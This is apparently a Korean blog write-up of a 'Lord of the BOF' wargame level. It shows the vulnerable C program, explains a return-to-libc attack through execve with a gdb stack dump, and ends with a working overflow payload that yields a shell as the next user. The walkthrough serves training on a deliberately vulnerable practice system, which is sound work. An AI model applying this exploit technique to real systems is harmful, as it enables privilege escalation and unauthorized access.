본문
소스는 아래와 같다.
- /*
- The Lord of the BOF : The Fellowship of the BOF
- - giant
- - RTL2
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- main(int argc, char *argv[])
- {
- char buffer[40];
- FILE *fp;
- char *lib_addr, *execve_offset, *execve_addr;
- char *ret;
- if(argc < 2){
- printf("argv error\n");
- exit(0);
- }
- // gain address of execve
- fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
- fgets(buffer, 255, fp);
- sscanf(buffer, "(%x)", &lib_addr);
- fclose(fp);
- fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
- fgets(buffer, 255, fp);
- sscanf(buffer, "%x", &execve_offset);
- fclose(fp);
- execve_addr = lib_addr + (int)execve_offset;
- // end
- memcpy(&ret, &(argv[1][44]), 4);
- if(ret != execve_addr)
- {
- printf("You must use execve!\n");
- exit(0);
- }
- strcpy(buffer, argv[1]);
- printf("%s\n", buffer);
- }
구절구절 많은 구문들이 있지만. 결국엔 overflow에 의해 바뀌는 EIP가 execve 함수여야 한다는 것이다.
그리고 다행히 stack hunter 같은 넘은 없다.
일단 execve 함수를 써야하니, 이 함수에 대해서 알아보자.
int execve (const char *filename, char *const argv [], char *const envp[]);
와 같은 인자를 가진다.
첫번째 인자는 /bin/sh 문자열을 저장하고 있는 포인터를 넘겨주면 되는데,
문제는 두번째 인자이다.
포인터의 배열을 넘겨주어야하는데, 마지막이 null로 끝나야하기 때문에 이를 넘겨주는게 쉽지가 않다.
인터넷을 찾아보니 파일명을 조작해서 exploit 하는 방법이 있긴 하던데...다른 방법을 찾아보자.
execve 함수를 가지고 몇가지 테스트를 해봤다.
- #include <stdio.h>
- int main()
- {
- char *ss[2];
- ss[0] = "df";
- ss[1] = NULL;
- execve("/bin/ls", ss, NULL);
- return 0;
- }
위의 코드를 보면 파일명을 올바르지만, argv의 값은 엉터리로 들어가있다. 그렇지만 위 프로그램은 정상적으로 실행이 된다.
이를 활용해서 다시 문제로 돌아가보자.
execve 함수의 첫번째 인자는 /bin/sh 문자열의 주소값을 넣어주고,
두번째 인자는 valid 한 영역을 가리키고 있는 포인터와 그 뒤에 0x00000000 이 들어가있는 부분을 찾아 그 주소값을 넣어주면 될 것 같다.
세번째 인자는 null을 가르키는 곳의 주소를 넣어주면 된다.
스택을 살펴보니
(gdb) x/100x $esp
0xbffffae4: 0xbffffec5 0xbffffff4 0xfbfffffc 0x00000000
0xbffffaf4: 0x080484b0 0x00000000 0x080484d1 0x08048560
0xbffffb04: 0x00000002 0xbffffb24 0x080483b4 0x080486bc
0xbffffb14: 0x4000ae60
그래서 만들어진 쉘코드는...아래와 같다.
[bugbear@localhost bugbear]$ ./giant "`perl -e '{print "A"x40,"BBBB","\x48\x9d\x0a\x40","CCCC","\xc5\xfe\xff\xbf","\xf4\xfa\xff\xbf","\xfc\xff\xff\xbf"}'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBH?
@CCCC퉜웃?웠?
bash$ whoami
giant
[BUF][SFP][EIP(execve)][execve SFP][/bin/sh pointer][fake argv array][null pointer]
로 구성된다.
끝.!
'WarGame > The Lord Of The BOF' 카테고리의 다른 글
BOF 원정대 fedora core 3. (0) | 2013.11.27 |
---|---|
BOF 원정대 redhat write up. (0) | 2013.11.27 |
BOF 원정대 클리어. (0) | 2013.10.01 |